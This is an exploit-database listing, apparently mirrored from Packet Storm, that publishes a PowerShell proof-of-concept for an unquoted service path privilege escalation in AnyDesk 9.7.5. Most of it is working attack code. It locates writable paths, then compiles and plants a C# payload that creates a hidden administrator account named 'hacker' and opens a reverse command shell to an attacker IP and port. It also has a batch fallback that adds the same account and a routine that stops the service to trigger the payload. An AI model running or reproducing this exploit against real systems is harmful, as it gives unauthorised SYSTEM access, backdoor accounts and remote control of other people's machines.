Lucene search
K

πŸ“„ AnyDesk 9.7.5 Unquoted Service Path

πŸ—“οΈΒ 16 Jun 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 13Β Views

Demonstrates unquoted service path privilege escalation to SYSTEM in AnyDesk version 9.7.5.

Code
==================================================================================================================================
    | # Title     : AnyDesk v9.7.5 Unquoted Service Path Privilege Escalation to SYSTEM                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://anydesk.com/en                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This script exploits the unquoted service path vulnerability in AnyDesk to escalate privileges to SYSTEM.
    
    [+] POC        :  
    
    <#
    .SYNOPSIS
    .EXAMPLE
    .\AnyDesk_LPE_fixed.ps1
    .\AnyDesk_LPE_fixed.ps1 -AttackerIP 10.0.0.5 -AttackerPort 4444
    .\AnyDesk_LPE_fixed.ps1 -Cleanup
    #>
    
    param(
        [string]$AttackerIP = "127.0.0.1",
        [int]$AttackerPort = 4444,
        [string]$PayloadPath = "",
        [switch]$Cleanup,
        [switch]$RestoreService,
        [switch]$Verbose
    )
    
    function Write-ColorOutput {
        param(
            [string]$Message,
            [string]$Color = "White"
        )
        $colors = @{
            "SUCCESS" = "Green"
            "ERROR" = "Red"
            "WARNING" = "Yellow"
            "INFO" = "Cyan"
            "DEBUG" = "DarkGray"
        }
        $colorName = if ($colors.ContainsKey($Color)) { $colors[$Color] } else { $Color }
        Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $Message" -ForegroundColor $colorName
    }
    
    function Test-WriteAccess {
        param([string]$DirectoryPath)
        
        try {
            if (-not (Test-Path $DirectoryPath)) {
                return $false
            }
            
            $testFile = Join-Path $DirectoryPath ".write_test_$(Get-Random).tmp"
            [System.IO.File]::WriteAllText($testFile, "test")
            Remove-Item $testFile -Force -ErrorAction SilentlyContinue
            return $true
        } catch {
            return $false
        }
    }
    
    function Test-PathWritable {
        param([string]$FilePath)
        
        $directory = [System.IO.Path]::GetDirectoryName($FilePath)
        
        if (-not (Test-Path $directory)) {
            return $false
        }
    
        if (Test-WriteAccess $directory) {
            return $true
        }
    
        try {
            $acl = Get-Acl $directory -ErrorAction SilentlyContinue
            $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
            
            foreach ($access in $acl.Access) {
                if ($access.IdentityReference.Value -eq $currentUser.Value -or 
                    $access.IdentityReference.Value -eq "BUILTIN\Users") {
                    
                    if (($access.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -and
                        $access.AccessControlType -eq "Allow") {
                        return $true
                    }
                }
            }
        } catch { }
        
        return $false
    }
    
    function Test-SystemPrivileges {
        $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
    
        if ($identity.User.Value -eq "S-1-5-18") {
            return $true
        }
    
        $principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
        return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
    }
    
    function Find-AnyDeskService {
        $services = Get-CimInstance -ClassName Win32_Service
        
        $possibleNames = @("anydesk", "AnyDeskService", "AnyDesk", "AD Service")
        
        foreach ($name in $possibleNames) {
            $service = $services | Where-Object { 
                $_.Name -like "*$name*" -or 
                $_.DisplayName -like "*AnyDesk*" -or
                $_.PathName -like "*AnyDesk*"
            }
            
            if ($service) {
    
                $binPath = $service.PathName -replace '^"|"$', ''
                $executable = ($binPath -split ' ')[0]
                
                if (Test-Path $executable) {
                    $versionInfo = Get-ItemProperty -Path $executable -ErrorAction SilentlyContinue
                    if ($versionInfo) {
                        $version = $versionInfo.VersionInfo.ProductVersion
                        Write-ColorOutput "Found AnyDesk version: $version" "INFO"
                    }
                }
                
                return $service
            }
        }
        
        return $null
    }
    
    function Test-UnquotedServicePath {
        param([object]$Service)
        
        if ($Service -eq $null) { return $false }
        
        $binPath = $Service.PathName
        Write-ColorOutput "Binary path: $binPath" "DEBUG"
    
        $exePath = if ($binPath -match '^"([^"]*)"') {
            $matches[1]
        } else {
            ($binPath -split ' ')[0]
        }
        
        Write-ColorOutput "Executable path: $exePath" "DEBUG"
    
        if (-not (Test-Path $exePath -PathType Leaf)) {
            Write-ColorOutput "Executable not found" "WARNING"
            return $false
        }
    
        $isUnquoted = ($exePath -match " " -and $binPath -notmatch '^".*"$')
        
        if (-not $isUnquoted) {
            return $false
        }
    
        $directory = [System.IO.Path]::GetDirectoryName($exePath)
        
        if (Test-WriteAccess $directory) {
            Write-ColorOutput "Write access confirmed to $directory" "SUCCESS"
            return $true
        }
        
        Write-ColorOutput "No write access to $directory" "WARNING"
        return $false
    }
    
    function Get-VulnerablePaths {
        param([object]$Service)
        
        $vulnerablePaths = @()
        
        if ($Service -eq $null) { return $vulnerablePaths }
        
        $binPath = $Service.PathName -replace '^"|"$', ''
        $exePath = ($binPath -split ' ')[0]
        
        if ($exePath -notmatch " ") { return $vulnerablePaths }
    
        $current = $exePath
        
        while ($current) {
            $parent = [System.IO.Path]::GetDirectoryName($current)
            $filename = [System.IO.Path]::GetFileName($current)
            
            if ([string]::IsNullOrEmpty($filename) -or $filename -eq $current) { break }
    
            if ($filename -match " " -and (Test-Path $parent -PathType Container)) {
    
                $execName = ($filename -split ' ')[0]
                $vulnPath = Join-Path $parent "$execName.exe"
    
                if (Test-PathWritable $vulnPath) {
                    Write-ColorOutput "Found vulnerable path: $vulnPath" "INFO"
                    $vulnerablePaths += $vulnPath
                }
            }
            
            $current = $parent
        }
        
        return $vulnerablePaths
    }
    
    function New-MaliciousExecutable {
        param(
            [string]$Path,
            [string]$AttackerIP,
            [int]$AttackerPort,
            [string]$CustomPayloadPath
        )
        
    
        if ($CustomPayloadPath -and (Test-Path $CustomPayloadPath)) {
            try {
                Copy-Item -Path $CustomPayloadPath -Destination $Path -Force -ErrorAction Stop
                Write-ColorOutput "Custom payload copied to $Path" "SUCCESS"
                return $true
            } catch {
                Write-ColorOutput "Failed to copy custom payload: $($_.Exception.Message)" "ERROR"
                # Fall through to create our own
            }
        }
        
        Write-ColorOutput "Creating malicious executable: $Path" "INFO"
    
        $csharpCode = @"
    using System;
    using System.Diagnostics;
    using System.Net.Sockets;
    using System.Text;
    
    class Program {
        static void Main() {
            try {
    
                ProcessStartInfo psi = new ProcessStartInfo {
                    FileName = "cmd.exe",
                    Arguments = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add",
                    UseShellExecute = false,
                    RedirectStandardOutput = true,
                    CreateNoWindow = true
                };
                
                Process p = Process.Start(psi);
                p.WaitForExit();
    
                TcpClient client = new TcpClient("$AttackerIP", $AttackerPort);
                NetworkStream stream = client.GetStream();
                
                byte[] buffer = new byte[4096];
                while (true) {
                    int bytesRead = stream.Read(buffer, 0, buffer.Length);
                    if (bytesRead == 0) break;
                    
                    string command = Encoding.ASCII.GetString(buffer, 0, bytesRead);
                    ProcessStartInfo psi2 = new ProcessStartInfo {
                        FileName = "cmd.exe",
                        Arguments = "/c " + command,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        CreateNoWindow = true
                    };
                    
                    Process p2 = Process.Start(psi2);
                    string output = p2.StandardOutput.ReadToEnd();
                    p2.WaitForExit();
                    
                    stream.Write(Encoding.ASCII.GetBytes(output), 0, output.Length);
                }
            } catch { }
        }
    }
    "@
        
        # Find C# compiler
        $cscPaths = @(
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe",
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        )
        
        $cscPath = $null
        foreach ($path in $cscPaths) {
            if (Test-Path $path) {
                $cscPath = $path
                break
            }
        }
        
        if (-not $cscPath) {
            Write-ColorOutput "C# compiler not found. Creating simple batch file instead." "WARNING"
            $batchContent = "@echo off`r`nwhoami > C:\temp\anydesk_lpe.txt`r`nnet user hacker P@ssw0rd123! /add`r`nnet localgroup administrators hacker /add"
            [System.IO.File]::WriteAllText($Path, $batchContent)
            return (Test-Path $Path)
        }
    
        $tempCS = [System.IO.Path]::GetTempFileName() + ".cs"
        [System.IO.File]::WriteAllText($tempCS, $csharpCode)
        
        & $cscPath /out:"$Path" /target:exe $tempCS 2>$null
        
        Remove-Item $tempCS -Force -ErrorAction SilentlyContinue
        
        return (Test-Path $Path)
    }
    
    function Stop-ServiceSafely {
        param([string]$Name)
        
        Write-ColorOutput "Stopping $Name service..." "INFO"
        
        try {
            $service = Get-Service -Name $Name -ErrorAction SilentlyContinue
            if ($service -eq $null) { return $false }
            
            # Check dependencies
            $dependencies = Get-Service -Name $Name -DependentServices -ErrorAction SilentlyContinue
            if ($dependencies.Count -gt 0) {
                Write-ColorOutput "Service has $($dependencies.Count) dependencies" "DEBUG"
            }
    
            for ($i = 0; $i -lt 5; $i++) {
                Stop-Service -Name $Name -Force -ErrorAction SilentlyContinue
                Start-Sleep -Milliseconds 500
                
                $svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
                if ($svc -and $svc.Status -eq "Stopped") {
                    Write-ColorOutput "Service stopped" "SUCCESS"
                    return $true
                }
            }
            
            return $false
        } catch {
            Write-ColorOutput "Failed to stop service: $($_.Exception.Message)" "ERROR"
            return $false
        }
    }
    
    function Start-ServiceSafely {
        param([string]$Name)
        
        Write-ColorOutput "Starting $Name service..." "INFO"
        
        try {
            for ($i = 0; $i -lt 3; $i++) {
                Start-Service -Name $Name -ErrorAction SilentlyContinue
                Start-Sleep -Seconds 2
                
                $svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
                if ($svc -and $svc.Status -eq "Running") {
                    Write-ColorOutput "Service started" "SUCCESS"
                    return $true
                }
            }
            
            return $false
        } catch {
            Write-ColorOutput "Failed to start service: $($_.Exception.Message)" "ERROR"
            return $false
        }
    }
    
    function Remove-FileWithRetry {
        param([string]$Path)
        
        if (-not (Test-Path $Path)) { return $true }
        
        for ($i = 0; $i -lt 5; $i++) {
            try {
                Remove-Item -Path $Path -Force -ErrorAction Stop
                return $true
            } catch {
                if ($i -lt 4) {
                    Start-Sleep -Seconds 1
                }
            }
        }
        
        Write-ColorOutput "Could not delete $Path (may be in use)" "WARNING"
        return $false
    }
    
    function Invoke-AnyDeskLPE {
        Write-ColorOutput @"
    ╔══════════════════════════════════════════════════════════════════╗
    β•‘  AnyDesk v9.7.5 - Unquoted Service Path Privilege Escalation     β•‘
    β•‘           Local Privilege Escalation to SYSTEM                   β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    "@ "INFO"
        
        Write-ColorOutput "Target: $env:COMPUTERNAME" "INFO"
        Write-ColorOutput "User: $env:USERNAME" "INFO"
    
        if (Test-SystemPrivileges) {
            Write-ColorOutput "Already running as SYSTEM!" "SUCCESS"
            return $true
        }
    
        $service = Find-AnyDeskService
        if ($service -eq $null) {
            Write-ColorOutput "AnyDesk service not found" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Service found: $($service.Name)" "SUCCESS"
    
        if (-not (Test-UnquotedServicePath -Service $service)) {
            Write-ColorOutput "Service is not vulnerable (path is quoted or no write access)" "ERROR"
            return $false
        }
    
        $vulnerablePaths = Get-VulnerablePaths -Service $service
        
        if ($vulnerablePaths.Count -eq 0) {
            Write-ColorOutput "No vulnerable paths found" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Found vulnerable paths:" "SUCCESS"
        foreach ($path in $vulnerablePaths) {
            Write-ColorOutput "  $path" "INFO"
        }
    
        $targetPath = $vulnerablePaths[0]
    
        if (-not (New-MaliciousExecutable -Path $targetPath -AttackerIP $AttackerIP -AttackerPort $AttackerPort -CustomPayloadPath $PayloadPath)) {
            Write-ColorOutput "Failed to create malicious executable" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Malicious executable created at: $targetPath" "SUCCESS"
    
        if (Stop-ServiceSafely -Name $service.Name) {
            Write-ColorOutput "Payload trigger initiated" "SUCCESS"
    
            Start-Sleep -Seconds 5
    
            if ($RestoreService) {
                Start-ServiceSafely -Name $service.Name
            }
        } else {
            Write-ColorOutput "Could not stop service. Manual trigger may be needed." "WARNING"
        }
        
        Write-ColorOutput "Exploit completed" "SUCCESS"
        return $true
    }
    
    function Invoke-Cleanup {
        Write-ColorOutput "Cleaning up..." "INFO"
        $pathsToClean = @(
            "C:\Program.exe",
            "C:\Program Files.exe",
            "C:\Program Files (x86)\AnyDesk\Program.exe"
        )
        foreach ($path in $pathsToClean) {
            if (Test-Path $path) {
                Remove-FileWithRetry -Path $path
            }
        }
        Write-ColorOutput "Cleanup completed" "SUCCESS"
    }
    $result = Invoke-AnyDeskLPE
    
    if ($Cleanup) {
        Invoke-Cleanup
    }
    exit (-not $result)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
13